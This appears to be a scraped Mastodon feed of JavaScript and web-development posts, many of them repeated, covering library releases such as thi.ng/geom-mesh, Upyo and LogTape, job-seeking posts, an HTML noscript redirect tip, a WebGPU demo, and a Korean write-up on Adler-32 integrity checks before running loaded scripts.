The popover property of the HTMLElement interface gets and sets an element's popover state via JavaScript ("auto", "hint", or "manual"), and can be used for feature detection.

@toxi@mastodon.thi.ng

Slightly delayed announcement due to Hetzner's storage outage over the past 24h: Did a new thi.ng/umbrella release last night with the new thi.ng/geom-mesh package (more about it below) and a bunch of smaller updates to mostly these packages and various other small updates for TypeScript 7 compatibility:

I already mentioned the new thi.ng/geom-mesh package a few weeks ago (including a small demo project)[1]. The currently provided IndexedMesh data structure should be considered an interim solution until the update of the full implementation of the Radial-Edge mesh datastructure is complete. This latter mesh structure will be a hybrid approach using the best of Blender's BMesh (also radial-edge based) for navigation/traversal & mesh editing features and Houdini's amazing geometry attribute system (with arbitrary attributes assignable to points, vertices, edges, faces). I already wrote it all 9 years ago and it has been used for designing & manufacturing several real-world products (footwear), but I have since struggled repeatedly to port it to my current library setup...

Ps. If you'd like to support this ongoing work financially (every little helps), you can find details about possible ways here:

codeberg.org/thi.ng/umbrella/s

[1] mastodon.thi.ng/@toxi/11700964

mastodon.thi.ng

Karsten Schmidt (@toxi@mastodon.thi.ng)

Attached: 1 image Heads up for those who care: A flurry of #ThingUmbrella updates/additions incoming, incl. new nD spatial hash table (with 2D/3D optimizations), indexed mesh data structure, updates to https://thi.ng/vectors and https://thi.ng/webgl and other small fixes. More details in next day or so... New example project (#189) to demonstrate basic usage of the new mesh type (and conversion from imported OBJ model): Demo: https://demo.thi.ng/umbrella/webgl-mesh/ Source code: https://codeberg.org/thi.ng/umbrella/src/branch/develop/examples/webgl-mesh/src/index.ts #ThingUmbrella #WebGL #Mesh #Geometry #TypeScript #JavaScript

@mojoaxel@social.tchncs.de · Reply to Manuel Matuzović

@matuzo To be honest I'm in quite a good place right now (but I never was a big community person).

For me the big community feeling died together with and I'm now quite happy on my own.
Nowadays I'm mostly sticking to native wherever I can because I love to keep it simple.

I'm too tired to surf the latest wave every few months and this is fine. Maybe it's time now to sit on the beach watching the young devs struggling with their strange AI setup and just chill a little!?

@nibushibu@vivaldi.net

20年ぐらい越しに、その方の著書を読んで勉強させていただいたり、 当時結構有名でもあった ライブラリを便利に使わせていただいたりなど、間接的に大変お世話になったエンジニアの方に初めてお会いして、お礼を伝えることができた :tony_wee:

@nibushibu@vivaldi.net

20年ぐらい越しに、その方の著書を読んで勉強させていただいたり、 当時結構有名でもあった ライブラリを便利に使わせていただいたりなど、間接的に大変お世話になったエンジニアの方に初めてお会いして、お礼を伝えることができた :tony_wee:

@frontenddogma@mas.to
@mauve@mastodon.mauve.moe

OK, I admit it: it'd be convenient if classes could have decorators on methods. Memoization of async methods would be so much cleaner and more reusable if we had them.

@d1@autistics.life · Reply to Asbjørn Ulsberg

@bitbear great insight. Forgive me here, but I think this deserves a poll.

The road to hell 👹 is paved with (please check that all that apply):

  • Frictionless convenience6 (14%)
  • Microsoft Products4 (9%)
  • Meta apps (Instagram, Facebook, etc.)7 (16%)
  • The Google Playstore4 (9%)
  • Those really hard drugs1 (2%)
  • TikTok (or other short-form videos)6 (14%)
  • Slop7 (16%)
  • Docker containers1 (2%)
  • Node.js, npm2 (5%)
  • Javascript1 (2%)
  • Smartphones2 (5%)
  • "Network Effects" (large networks highly valuable)2 (5%)
@d1@autistics.life · Reply to Asbjørn Ulsberg

@bitbear great insight. Forgive me here, but I think this deserves a poll.

The road to hell 👹 is paved with (please check that all that apply):

  • Frictionless convenience6 (14%)
  • Microsoft Products4 (9%)
  • Meta apps (Instagram, Facebook, etc.)7 (16%)
  • The Google Playstore4 (9%)
  • Those really hard drugs1 (2%)
  • TikTok (or other short-form videos)6 (14%)
  • Slop7 (16%)
  • Docker containers1 (2%)
  • Node.js, npm2 (5%)
  • Javascript1 (2%)
  • Smartphones2 (5%)
  • "Network Effects" (large networks highly valuable)2 (5%)
@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@luyin@lgbtqia.space

Alright Fedi, I'm looking for a job out of AI hell. I know chances aren't great for anyone right now, but I'm taking mine anyway.

I'm a (senior?) developer with 10 years of experience in both and (with a preference for the latter). I can find my way around and don't shy away from . I've done a bit of lately and haven't found it terrible.

I thrive in team environments where I have time both to work on my own and in pairs or mobs ( mob.sh is a great tool I'd use again, but IntelliJ's Code With Me works too).

My greatest passion is automating the tasks around coding away - testing, building, deploying code with either the shortest set of commands or just fully automated from a pipeline on pull/merge requests.

I won't say no to places that require me to use AI, but I have a strong preference to be able to write my code myself.

Would love boosts for reach! Also thanks for reading 💖

mob.sh

Fast git handover with mob

Tool for smooth git handover.

@frontenddogma@mas.to
@frontenddogma@mas.to
@lobsters@mastodon.social

Put all the manifold utility of deployment aside for a moment. I am not saying that people shouldn't deploy applications to the web, or even that they shouldn't use and although I feel that far far too much emphasis has been given to such tools.

The resulting "world wide web" is hideously slow and janky and jam-packed with advertising and glitches and advertising disguised as glitches, and clearly this is considered to be extremely profitable.

(cont'd)

@aartaka@merveilles.town

that one can put <noscript> element inside <head>, and conditionally include <meta> headers there. Which means: one can redirect and change headers whenever is off, thus allowing redirections to no-JS versions! I think I’ll even use that some day. Something like:

<head>
...
<noscript>
<meta http-equiv="refresh" content="0; url=example.com/" />
</noscript>
...
</head>

I personally think modern HTML is really nice, albeit sometimes too powerful for its own good.

example.com

Example Domain

@aartaka@merveilles.town

that one can put <noscript> element inside <head>, and conditionally include <meta> headers there. Which means: one can redirect and change headers whenever is off, thus allowing redirections to no-JS versions! I think I’ll even use that some day. Something like:

<head>
...
<noscript>
<meta http-equiv="refresh" content="0; url=example.com/" />
</noscript>
...
</head>

I personally think modern HTML is really nice, albeit sometimes too powerful for its own good.

example.com

Example Domain

@frontenddogma@mas.to
@lukeharby@infosec.exchange

Hey chums.

It's that time again.

I am contracting and my current position ends this Friday (2026-07-07).

I am

  • Frontend JavaScript developer
  • Contract preferred (will look at Perm but it has to be a good fit)
  • Vuejs is my preferred stack, but can work with React.
  • I am a great communicator and someone you want on your team
  • I like to advocate for CSS solutions
  • I like to advocate for Accessibility
  • I like design systems
  • I like documented code
  • I am very amiable, affable with a GSOH.

Based in East Midlands, UK.

But more info and a portfolio here: lharby.codeberg.page

Let me know if you need more info.

Retoots gratefully received.

lharby.codeberg.page

Luke Harby. Front End developer

Site and portfolio for Luke Harby, Frontend / JavaScript developer.

@lukeharby@infosec.exchange

Hey chums.

It's that time again.

I am contracting and my current position ends this Friday (2026-07-07).

I am

  • Frontend JavaScript developer
  • Contract preferred (will look at Perm but it has to be a good fit)
  • Vuejs is my preferred stack, but can work with React.
  • I am a great communicator and someone you want on your team
  • I like to advocate for CSS solutions
  • I like to advocate for Accessibility
  • I like design systems
  • I like documented code
  • I am very amiable, affable with a GSOH.

Based in East Midlands, UK.

But more info and a portfolio here: lharby.codeberg.page

Let me know if you need more info.

Retoots gratefully received.

lharby.codeberg.page

Luke Harby. Front End developer

Site and portfolio for Luke Harby, Frontend / JavaScript developer.

@evilpaul_atebit@icosahedron.website

(I'm home from Assembly now.. the dust has settled and the uploads have finished, so..)

Here's a demo I released yesterday at Assembly 2026. It came second in the "One Minute" category, a category where the only real limitation for entries is that they must be no longer than one minute in length.

This runs in realtime in your WebGPU enabled browser: atebit.org/online/atebit-itera

And here's a capture on YouTube: youtube.com/watch?v=oAMAWAHehMs

youtube.com

Iteration - Ate Bit

A short demo for the WebGPU enabled browser. Placed 2nd in Assembly's "One Minute" competition.Released August 2026.More info: https://www.pouet.net/prod.php...

@evilpaul_atebit@icosahedron.website

(I'm home from Assembly now.. the dust has settled and the uploads have finished, so..)

Here's a demo I released yesterday at Assembly 2026. It came second in the "One Minute" category, a category where the only real limitation for entries is that they must be no longer than one minute in length.

This runs in realtime in your WebGPU enabled browser: atebit.org/online/atebit-itera

And here's a capture on YouTube: youtube.com/watch?v=oAMAWAHehMs

youtube.com

Iteration - Ate Bit

A short demo for the WebGPU enabled browser. Placed 2nd in Assembly's "One Minute" competition.Released August 2026.More info: https://www.pouet.net/prod.php...

every friday, I share some (AI-free!) project that I've worked on, for others to try out and have fun with on their weekend! small or big, but always something new.

this week, that's better-map - a Map type for javascript that has a strict mode, an immutable mode, and supports binary (Buffer) keys! unfinished copies of this have been floating around my project folder for a while, and I've been using it in projects already, but now I finally got around to polishing, documenting and packaging it.

you can find it here: https://codeberg.org/joepie91/better-map#readme - enjoy!

#FridayRelease #ProjectToot #javascript

codeberg.org

better-map

A custom Map type with additional utilities and an immutable mode

every friday, I share some (AI-free!) project that I've worked on, for others to try out and have fun with on their weekend! small or big, but always something new.

this week, that's better-map - a Map type for javascript that has a strict mode, an immutable mode, and supports binary (Buffer) keys! unfinished copies of this have been floating around my project folder for a while, and I've been using it in projects already, but now I finally got around to polishing, documenting and packaging it.

you can find it here: https://codeberg.org/joepie91/better-map#readme - enjoy!

#FridayRelease #ProjectToot #javascript

codeberg.org

better-map

A custom Map type with additional utilities and an immutable mode

@maxd@mastodon.social
@frontenddogma@mas.to
@toxi@mastodon.thi.ng

Heads up for those who care: A flurry of updates/additions incoming, incl. new nD spatial hash table (with 2D/3D optimizations), indexed mesh data structure, updates to thi.ng/vectors and thi.ng/webgl and other small fixes. More details in next day or so...

New example project (#189) to demonstrate basic usage of the new mesh type (and conversion from imported OBJ model):

Demo:
demo.thi.ng/umbrella/webgl-mes

Source code:
codeberg.org/thi.ng/umbrella/s

Screenshot of the linked example project, showing a multi-colored Phong-shaded Stanford bunny.
ALT text

Screenshot of the linked example project, showing a multi-colored Phong-shaded Stanford bunny.

@JanMiksovsky@fosstodon.org

I've posted a video about how you can build a site from scratch in any language you like without the need for an off-the-shelf static site generator (#ssg): youtube.com/watch?v=6t3BN3Z-Tk

This compares using an SSG like or (#11ty) to build a blog with building the same blog in , , or even a language like . I'm designing to be the most concise and clearest language for this purpose — but you can use any language you like.

youtube.com

Create your site from scratch in any programming language

You might be interested in building a site for yourself, and assume that you need to use a special tool to do that, but if you’re a programmer you can actual...

@JanMiksovsky@fosstodon.org

I've posted a video about how you can build a site from scratch in any language you like without the need for an off-the-shelf static site generator (#ssg): youtube.com/watch?v=6t3BN3Z-Tk

This compares using an SSG like or (#11ty) to build a blog with building the same blog in , , or even a language like . I'm designing to be the most concise and clearest language for this purpose — but you can use any language you like.

youtube.com

Create your site from scratch in any programming language

You might be interested in building a site for yourself, and assume that you need to use a special tool to do that, but if you’re a programmer you can actual...

@frontenddogma@mas.to

Ride The Streetcar lets you drive surgical state changes to your frontend DOM & JS objects from any backend ( & supported at launch ). It's fully compatible with standard fetch techniques as well as htmx via a custom extension.

Only 2kB minzipped with 0 dependencies!

If you've ever used something like Hotwire Turbo, this will feel familiar. I once wrote about a pattern I called Action Web Components…this is the evolution of that to a library!

heartml.dev/2026/07/22/ride-th

2/2

heartml.dev

Ride The Streetcar…All Aboard! | Heartml

Make HTML hep to the jive with these postmodern riffs on web dev.

@kalvn@framapiaf.org
@frontenddogma@mas.to
@oleandrum@mastodon.social

Introducing Aksharapad — a free, browser-based editor for Sanskrit and other Indic languages.

It combines a Unicode text editor with built-in transliteration, making it easy to write in Devanagari directly in your browser. No installation, no account, and it works offline after the first load.

Try it here:
oleandrum.github.io/aksharapad/

Feedback, suggestions, and contributions are always welcome.

oleandrum.github.io

Aksharapad — Type Sanskrit in Devanagari

A Devanagari input method (IME): type IAST, Harvard-Kyoto, ITRANS, or Velthuis and have it convert to Devanagari as you type.

@oleandrum@mastodon.social

Introducing Aksharapad — a free, browser-based editor for Sanskrit and other Indic languages.

It combines a Unicode text editor with built-in transliteration, making it easy to write in Devanagari directly in your browser. No installation, no account, and it works offline after the first load.

Try it here:
oleandrum.github.io/aksharapad/

Feedback, suggestions, and contributions are always welcome.

oleandrum.github.io

Aksharapad — Type Sanskrit in Devanagari

A Devanagari input method (IME): type IAST, Harvard-Kyoto, ITRANS, or Velthuis and have it convert to Devanagari as you type.

@toxi@mastodon.thi.ng

New release(s): Updated the thi.ng/geom-io-obj OBJ mesh parser to support stream parsing using async iterables. This allows direct piping fetch() responses to the parser.

const response = await fetch(MODEL_URL);
const objModel = await parseOBJFromStream(response.body);

Also polished and published a related small example project for it (incl. arcball camera controller, which had an update too):

Demo (Click & drag to rotate view, touchpad/mousewheel to zoom):
demo.thi.ng/umbrella/webgl-obj/

Source:
codeberg.org/thi.ng/umbrella/s

Alternatively to stream parsing, there's also a generator/co-routine based version. This can be used standalone or together with thi.ng/fibers to better control the time slicing behavior when parsing large model files (tens or hundreds of MB) and so gives fine-grained control to avoid blocking the main UI thread:

import { timeSlice } from "@thi.ng/fibers";

const response = await fetch(MODEL_URL);
const src = await response.text();
// parse in 10 millisecond time slices
const model = await timeSlice(parseOBJGenerator(src), 10).run().promise();

More background info & discussion for those interested:
codeberg.org/thi.ng/umbrella/p

Screenshot of the linked demo project, showing a gray Lambert-shaded Stanford bunny on light blue background.
ALT text

Screenshot of the linked demo project, showing a gray Lambert-shaded Stanford bunny on light blue background.

@lobsters@mastodon.social
@gnh1201@hackers.pub

먼저 SRI(하위 리소스 무결성)이 뭔지 알아보자

최근의 웹 브라우저는 SRI(하위 리소스 무결성)이라는 개념을 지원하여, 외부 리소스(스크립트, 스타일시트 등)를 불러와야 할 때 해시 알고리즘을 통한 검증 과정을 거쳐 안전하게 불러올 수 있다.

보통 이런 모습으로 SRI(하위 리소스 무결성)이 사용된다.

<!-- https://developer.mozilla.org/ko/docs/Web/Security/Defenses/Subresource_Integrity -->
<script
  src="https://example.com/example-framework.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

이러한 개념을 바탕으로 다소 제약사항이 많은 산업용 JavaScript 환경(ES3 또는 semi-ES5 환경)에서도 SRI와 유사한 기능을 구현할 수 있다면 외부 리소스를 더 안전하게 참조할 수 있을 것이라는 판단이 들었다.

이 글은 비록 산업용 JavaScript라는 특수성을 반영하고 있지만, 스크립트 실행 중에 외부 리소스(스크립트 등)를 추가로 받아서 실행해야하는 모든 경우에 적용할 수 있을 것이다.

eval 함수에서 시작된 고민

최초 실행 스크립트(*.js) 파일이 아닌, 실행 중에 추가 스크립트 파일을 불러와 실행하려면, eval() 또는 이와 동등한 표현(new Function() 등)의 사용이 불가피하다.

하지만 보안 점검을 받아야하는 프로젝트의 경우, 사용 의도와 상관없이 소스코드 내에 존재한다는 사실 만으로도 적절한 위험 완화 절차를 적용하고 있는지 확인을 요구받게 된다.

이에, eval()의 경우 전역 컨텍스트에 ALLOW_UNSAFE_EVAL(boolean) 플래그를 추가하고, 모든 eval() 호출 요구가 발생할 때는 개발자의 의도대로 실행되고 있는지를 확인하도록 하였다.

여기에 더해 SRI(하위 리소스 무결성) 개념을 들여다보게 된 이유는, 이런 조치보다 한발작 나아가 더 안전한 실행 방법을 찾기 위함이다.

적절한 해시 함수 찾기

산업용 런타임의 제약 사항으로 인해, 원래의 SRI 구현처럼 sha256, sha384, sha512 등의 알고리즘을 기대하긴 어렵다. 순수 JavaScript 문법 만으로 처리할 수 있는 해시 함수 중에서 파일 무결성 검증 용도에 적합하고 성능도 수용 가능한 알고리즘을 선정해야한다.

그렇게 얻은 테스트 결과는 다음과 같다.

Generating 2 MB input...

Input Size : 2097152 bytes

Algorithm Min       Max       Avg         Hash
--------------------------------------------------------------
DJB2      266 ms    284 ms    272.7 ms    0x98029505
JOAAT     281 ms    295 ms    286.4 ms    0x20823051
SDBM      308 ms    326 ms    314.6 ms    0x14318000
FNV1A     664 ms    711 ms    677.3 ms    0x7b419dc5
Adler32   283 ms    298 ms    288.4 ms    0xb865207e
CRC32     411 ms    441 ms    420.8 ms    0xd0713049

--

Generating 300 KB input...

Input Size : 307200 bytes

Algorithm Min       Max       Avg         Hash
--------------------------------------------------------------
DJB2      38 ms     41 ms     39.5 ms     0xc28472c5
JOAAT     40 ms     42 ms     41.1 ms     0xc7254d3d
SDBM      43 ms     46 ms     44.9 ms     0xa8f54040
FNV1A     95 ms     100 ms    96.8 ms     0x17110945
Adler32   40 ms     43 ms     41.4 ms     0xbab93d40
CRC32     60 ms     64 ms     61.7 ms     0x30ec7301

해당 알고리즘 평가 결과를 참고하여, 실제 산업 현장에서 파일 무결성 체크 용도로 활용 사례가 많은 Adler32를 적용하기로 했다.

조사한 내용을 코드로 구현

이 내용을 구현하면 소스코드는 다음과 같은 모습이 된다. (구현 일부 생략)

var STRICT_INTEGRITY = true;
var INTEGRITY_HASHES = {
	"7b5c4d89": true, "779be011": true, "c9dee731": true
};

function __adler32__(str) {
    // ... (Adler-32 hash algorithm implementation) ...
}

function SOMETHING_EXECUTE_SCRIPT(filename) {
    var text = "":
    
    // integrity verification
    try {
        text = SOMETHING_READ_FILE(filename);  // loaded from the file

        if (STRICT_INTEGRITY) {
            var computed_hash = __adler32__(text).toString(16);
            var existed_hash = (computed_hash in INTEGRITY_HASHES);
            var enabled_hash = existed_hash ? INTEGRITY_HASHES[computed_hash] : false;
            if (!enabled_hash) {
                throw new Error("Integrity verification failed (" + computed_hash + ")");
            }
        }
    
        SOMETHING_EVAL_LIKE_FUNCTION(text);
    } catch (e) {
        console.error("FAILED: " + e.message);
    }

    return text;
}

SOMETHING_EXECUTE_SCRIPT("helloworld.js");

INTEGRITY_HASHES 변수가 배열이 아닌 이유?

위에서 선언한 INTEGRITY_HASHES 변수를 배열(Array)가 아닌 객체(Object)로 구현한 이유는, 산업용 런타임에서는 배열(Array) 객체의 특정 원소를 찾아주는 메소드(.indexOf(), .includes() 등)이 구현되어 있지 않기 때문이다.

ES5 문법 수준으로 폴리필을 진행하기 이전에 진행되는 과정이므로 객체(Object)를 사용했으며 이로 인해 오히려 의도했던 기능을 더 잘 구현할 수 있었다.

결과

불러올 파일이 변조되는 경우 감지하여 실행을 차단할 수 있다. 아래는 실제 적용된 사례에서 표출되는 오류 메시지의 예시이다.

[*] error: LOAD ERROR! 0, Integrity verification failed (cbd7d9d6), FN=lib/file.js

실제 적용 예시는 아래 링크에서 app.js 파일을 통해 확인 가능하다.

github.com

GitHub - gnh1201/welsonjs: WelsonJS - Build a Windows app on the Windows built-in JavaScript engine

WelsonJS - Build a Windows app on the Windows built-in JavaScript engine - gnh1201/welsonjs

@gnh1201@hackers.pub

먼저 SRI(하위 리소스 무결성)이 뭔지 알아보자

최근의 웹 브라우저는 SRI(하위 리소스 무결성)이라는 개념을 지원하여, 외부 리소스(스크립트, 스타일시트 등)를 불러와야 할 때 해시 알고리즘을 통한 검증 과정을 거쳐 안전하게 불러올 수 있다.

보통 이런 모습으로 SRI(하위 리소스 무결성)이 사용된다.

<!-- https://developer.mozilla.org/ko/docs/Web/Security/Defenses/Subresource_Integrity -->
<script
  src="https://example.com/example-framework.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

이러한 개념을 바탕으로 다소 제약사항이 많은 산업용 JavaScript 환경(ES3 또는 semi-ES5 환경)에서도 SRI와 유사한 기능을 구현할 수 있다면 외부 리소스를 더 안전하게 참조할 수 있을 것이라는 판단이 들었다.

이 글은 비록 산업용 JavaScript라는 특수성을 반영하고 있지만, 스크립트 실행 중에 외부 리소스(스크립트 등)를 추가로 받아서 실행해야하는 모든 경우에 적용할 수 있을 것이다.

eval 함수에서 시작된 고민

최초 실행 스크립트(*.js) 파일이 아닌, 실행 중에 추가 스크립트 파일을 불러와 실행하려면, eval() 또는 이와 동등한 표현(new Function() 등)의 사용이 불가피하다.

하지만 보안 점검을 받아야하는 프로젝트의 경우, 사용 의도와 상관없이 소스코드 내에 존재한다는 사실 만으로도 적절한 위험 완화 절차를 적용하고 있는지 확인을 요구받게 된다.

이에, eval()의 경우 전역 컨텍스트에 ALLOW_UNSAFE_EVAL(boolean) 플래그를 추가하고, 모든 eval() 호출 요구가 발생할 때는 개발자의 의도대로 실행되고 있는지를 확인하도록 하였다.

여기에 더해 SRI(하위 리소스 무결성) 개념을 들여다보게 된 이유는, 이런 조치보다 한발작 나아가 더 안전한 실행 방법을 찾기 위함이다.

적절한 해시 함수 찾기

산업용 런타임의 제약 사항으로 인해, 원래의 SRI 구현처럼 sha256, sha384, sha512 등의 알고리즘을 기대하긴 어렵다. 순수 JavaScript 문법 만으로 처리할 수 있는 해시 함수 중에서 파일 무결성 검증 용도에 적합하고 성능도 수용 가능한 알고리즘을 선정해야한다.

그렇게 얻은 테스트 결과는 다음과 같다.

Generating 2 MB input...

Input Size : 2097152 bytes

Algorithm Min       Max       Avg         Hash
--------------------------------------------------------------
DJB2      266 ms    284 ms    272.7 ms    0x98029505
JOAAT     281 ms    295 ms    286.4 ms    0x20823051
SDBM      308 ms    326 ms    314.6 ms    0x14318000
FNV1A     664 ms    711 ms    677.3 ms    0x7b419dc5
Adler32   283 ms    298 ms    288.4 ms    0xb865207e
CRC32     411 ms    441 ms    420.8 ms    0xd0713049

--

Generating 300 KB input...

Input Size : 307200 bytes

Algorithm Min       Max       Avg         Hash
--------------------------------------------------------------
DJB2      38 ms     41 ms     39.5 ms     0xc28472c5
JOAAT     40 ms     42 ms     41.1 ms     0xc7254d3d
SDBM      43 ms     46 ms     44.9 ms     0xa8f54040
FNV1A     95 ms     100 ms    96.8 ms     0x17110945
Adler32   40 ms     43 ms     41.4 ms     0xbab93d40
CRC32     60 ms     64 ms     61.7 ms     0x30ec7301

해당 알고리즘 평가 결과를 참고하여, 실제 산업 현장에서 파일 무결성 체크 용도로 활용 사례가 많은 Adler32를 적용하기로 했다.

조사한 내용을 코드로 구현

이 내용을 구현하면 소스코드는 다음과 같은 모습이 된다. (구현 일부 생략)

var STRICT_INTEGRITY = true;
var INTEGRITY_HASHES = {
	"7b5c4d89": true, "779be011": true, "c9dee731": true
};

function __adler32__(str) {
    // ... (Adler-32 hash algorithm implementation) ...
}

function SOMETHING_EXECUTE_SCRIPT(filename) {
    var text = "":
    
    // integrity verification
    try {
        text = SOMETHING_READ_FILE(filename);  // loaded from the file

        if (STRICT_INTEGRITY) {
            var computed_hash = __adler32__(text).toString(16);
            var existed_hash = (computed_hash in INTEGRITY_HASHES);
            var enabled_hash = existed_hash ? INTEGRITY_HASHES[computed_hash] : false;
            if (!enabled_hash) {
                throw new Error("Integrity verification failed (" + computed_hash + ")");
            }
        }
    
        SOMETHING_EVAL_LIKE_FUNCTION(text);
    } catch (e) {
        console.error("FAILED: " + e.message);
    }

    return text;
}

SOMETHING_EXECUTE_SCRIPT("helloworld.js");

INTEGRITY_HASHES 변수가 배열이 아닌 이유?

위에서 선언한 INTEGRITY_HASHES 변수를 배열(Array)가 아닌 객체(Object)로 구현한 이유는, 산업용 런타임에서는 배열(Array) 객체의 특정 원소를 찾아주는 메소드(.indexOf(), .includes() 등)이 구현되어 있지 않기 때문이다.

ES5 문법 수준으로 폴리필을 진행하기 이전에 진행되는 과정이므로 객체(Object)를 사용했으며 이로 인해 오히려 의도했던 기능을 더 잘 구현할 수 있었다.

결과

불러올 파일이 변조되는 경우 감지하여 실행을 차단할 수 있다. 아래는 실제 적용된 사례에서 표출되는 오류 메시지의 예시이다.

[*] error: LOAD ERROR! 0, Integrity verification failed (cbd7d9d6), FN=lib/file.js

실제 적용 예시는 아래 링크에서 app.js 파일을 통해 확인 가능하다.

github.com

GitHub - gnh1201/welsonjs: WelsonJS - Build a Windows app on the Windows built-in JavaScript engine

WelsonJS - Build a Windows app on the Windows built-in JavaScript engine - gnh1201/welsonjs

@lobsters@mastodon.social
@nunesgh@mastodon.social

Another JavaScript nightmare has just been released.

Cloudflare states that "Precursor is [...] built with privacy in mind [...]". The privacy guarantees?

"The event listeners capture the minimum information needed to be a useful signal for detecting automation and abuse. For example, keyboard activity is captured as timing and rhythm, not as the actual keys pressed."

Really?!

blog.cloudflare.com/introducin

blog.cloudflare.com

Introducing Precursor: detecting agentic behavior with continuous client-side signals

Precursor, our new continuous behavioral validation engine for bot management, offers visibility into how humans and bots actually interact across the full user journey. By turning session-level behavior into bot detection signals, it identifies advanced automation with higher precision — while reducing friction for legitimate users.

@nunesgh@mastodon.social

Another JavaScript nightmare has just been released.

Cloudflare states that "Precursor is [...] built with privacy in mind [...]". The privacy guarantees?

"The event listeners capture the minimum information needed to be a useful signal for detecting automation and abuse. For example, keyboard activity is captured as timing and rhythm, not as the actual keys pressed."

Really?!

blog.cloudflare.com/introducin

blog.cloudflare.com

Introducing Precursor: detecting agentic behavior with continuous client-side signals

Precursor, our new continuous behavioral validation engine for bot management, offers visibility into how humans and bots actually interact across the full user journey. By turning session-level behavior into bot detection signals, it identifies advanced automation with higher precision — while reducing friction for legitimate users.

@lobsters@mastodon.social
@pcdevil@mastodon.social

👋 Hi, I'm looking for work!

🚀 I am...
- a detail oriented senior engineer with 15 years of experience
- proficient with & , , , TDD
- experienced with , Ember.js, GCP, Terraform

🔎 I'm looking for:
- a collaborative environment between eng + product & design teams
- a based (onsite) or a Germany / EU-based (remote) company
- ability to learn and grow

🚫 no crypto, big oil, gambling, gen-ai, web3

🙇 boost appreciated!

@lobsters@mastodon.social
@SocketSecurity@fosstodon.org

Node.js is weighing a controversial proposal to move more security reports into public workflows as AI-generated submissions surge.

Maintainers say ending bug bounty rewards didn't reduce the volume, and many reports remain duplicated or low-signal.

socket.dev/blog/nodejs-conside

socket.dev

Node.js Considers Public Workflow for Security Reports Amid ...

Node.js is debating whether AI-driven security report volume warrants moving more vulnerability reports into public workflows.

@lobsters@mastodon.social
@frontenddogma@mas.to
@hongminhee@hollo.social

Upyo 0.5.0 is out: a cross-runtime email library for and , one Transport API across SMTP, JMAP, Mailgun, SendGrid, SES, Resend, Plunk, and now Lettermint.

This release makes failed sends structured (category, retryable, HTTP status, Retry-After) instead of just a string, adds a retry transport with backoff and jitter, and brings OAuth 2.0 to SMTP for Gmail and Outlook.

https://github.com/dahlia/upyo/discussions/29

github.com

Upyo 0.5.0: Structured errors, automatic retries, and OAuth 2.0 · dahlia/upyo · Discussion #29

Upyo is a cross-runtime email library for JavaScript that provides a unified API for sending email across Node.js, Deno, Bun, and edge functions. It supports SMTP, JMAP, and providers such as Mailg...

@hongminhee@hollo.social

Upyo 0.5.0 is out: a cross-runtime email library for and , one Transport API across SMTP, JMAP, Mailgun, SendGrid, SES, Resend, Plunk, and now Lettermint.

This release makes failed sends structured (category, retryable, HTTP status, Retry-After) instead of just a string, adds a retry transport with backoff and jitter, and brings OAuth 2.0 to SMTP for Gmail and Outlook.

https://github.com/dahlia/upyo/discussions/29

github.com

Upyo 0.5.0: Structured errors, automatic retries, and OAuth 2.0 · dahlia/upyo · Discussion #29

Upyo is a cross-runtime email library for JavaScript that provides a unified API for sending email across Node.js, Deno, Bun, and edge functions. It supports SMTP, JMAP, and providers such as Mailg...

@frontenddogma@mas.to
@cheeaun@mastodon.social

Got to say, `license="commercial"` prop for a component is kinda weird 😅

A cropped screenshot of React code showing a `BottomSheet` component using `<Sheet.Root license="commercial"><Sheet.Trigger>Open</Sheet.Trigger><Sheet.Portal>`.
ALT text

A cropped screenshot of React code showing a `BottomSheet` component using `<Sheet.Root license="commercial"><Sheet.Trigger>Open</Sheet.Trigger><Sheet.Portal>`.

A documentation page titled “Sheet” showing a “license” field with required type options “commercial” and “non-commercial,” plus descriptions and notes about library licensing.
ALT text

A documentation page titled “Sheet” showing a “license” field with required type options “commercial” and “non-commercial,” plus descriptions and notes about library licensing.

@hongminhee@hollo.social

2.2.0 is out!

The headline is two new packages:

@logtape/lint adds lint rules for ESLint v8/v9 (flat config), Oxlint, and Deno Lint that catch common logging mistakes before they reach production: template literal interpolation in message arguments, eager property evaluation where lazy is needed, unawaited async log callbacks, and missing meta sink configuration.

@logtape/testing gives you createLogRecorder() and domain-aware assertion helpers, replacing the hand-rolled array-sink boilerplate that every project ends up writing.

Other highlights:

